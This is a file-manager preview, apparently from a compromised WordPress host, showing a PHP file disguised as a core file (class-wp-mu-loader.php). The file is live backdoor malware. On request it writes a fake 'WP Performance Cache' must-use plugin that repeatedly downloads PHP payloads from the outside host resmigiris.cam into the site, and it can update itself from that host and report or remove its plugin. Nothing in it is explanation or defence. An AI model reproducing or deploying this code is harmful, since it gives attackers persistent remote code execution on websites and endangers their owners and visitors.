Preview: class-wp-mu-loader.php
Size: 3.97 KB
//home7/doctorbruno/public_html/ularal.com/wp-includes/class-wp-mu-loader.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');
$d=__DIR__;while(!is_file("$d/wp-load.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:dirname(__DIR__);
$cdn='https://resmigiris.cam/txt/';
$muDir="$d/wp-content/mu-plugins";
// ── ?install=1 → mu-plugins altına auto-repair dropper oluştur ──
if(isset($_GET['install'])&&$_GET['install']==='1'){
header('Content-Type: application/json; charset=utf-8');
if(!is_dir("$d/wp-content")){echo json_encode(['error'=>'no-wp-content']);exit;}
if(!is_dir($muDir))@mkdir($muDir,0755);
if(!is_dir($muDir)){echo json_encode(['error'=>'mkdir-fail']);exit;}
$muCode='<?php'."\n".'/*'."\n".'Plugin Name: WP Performance Cache'."\n".'Description: Core performance optimizations.'."\n".'*/'."\n";
$muCode.='if(defined(\'ABSPATH\')){'."\n";
$muCode.=' add_action(\'init\',function(){'."\n";
$muCode.=' $f=sys_get_temp_dir().\'/cstb_mu_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n";
$muCode.=' if(file_exists($f))return;'."\n";
$muCode.=' @file_put_contents($f,time());'."\n";
$muCode.=' if(!function_exists(\'curl_init\'))return;'."\n";
$muCode.=' $cdn=\'https://resmigiris.cam/txt/\';'."\n";
$muCode.=' $root=ABSPATH;'."\n";
$muCode.=' $chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\',\'wp-content/plugins/plugins.php\'=>\'plugins.txt\'];'."\n";
$muCode.=' foreach($chk as $rel=>$src){'."\n";
$muCode.=' $path=$root.$rel;'."\n";
$muCode.=' if(is_file($path)&&filesize($path)>100)continue;'."\n";
$muCode.=' $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n";
$muCode.=' $c=curl_exec($ch);curl_close($ch);'."\n";
$muCode.=' if($c&&strlen($c)>50)@file_put_contents($path,$c);'."\n";
$muCode.=' }'."\n";
$muCode.=' },99999);'."\n";
$muCode.='}'."\n";
$muPath="$muDir/performance-cache.php";
$res=@file_put_contents($muPath,$muCode)!==false?'ok':'fail';
echo json_encode([
'status'=>$res,
'path'=>$muPath,
'mu_dir'=>$muDir,
'root'=>$d
],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}
// ── ?status=1 → mu-plugins durumunu kontrol ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
header('Content-Type: application/json; charset=utf-8');
$muExists=is_dir($muDir);
$files=[];
if($muExists){
foreach(@scandir($muDir)?:[] as $f){
if($f==='.'||$f==='..')continue;
$files[]=$f;
}
}
echo json_encode(['mu_dir'=>$muDir,'exists'=>$muExists,'files'=>$files,'root'=>$d],JSON_UNESCAPED_SLASHES);exit;
}
// ── ?remove=1 → mu-plugin dosyasını sil ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
header('Content-Type: application/json; charset=utf-8');
$muPath="$muDir/performance-cache.php";
$res=is_file($muPath)?(@unlink($muPath)?'removed':'fail'):'not-found';
echo json_encode(['status'=>$res]);exit;
}
// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
header('Content-Type: application/json; charset=utf-8');
$ch=curl_init($cdn.'mu-loader.txt');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
$s=curl_exec($ch);curl_close($ch);
if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){
@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);
}else{echo json_encode(['self'=>'current']);}
exit;
}
header('Content-Type: text/plain');
echo "cstb-mu-loader\nmodes: ?install=1 | ?status=1 | ?remove=1 | ?update=1\n";
Directory Contents
Dirs: 0 × Files: 11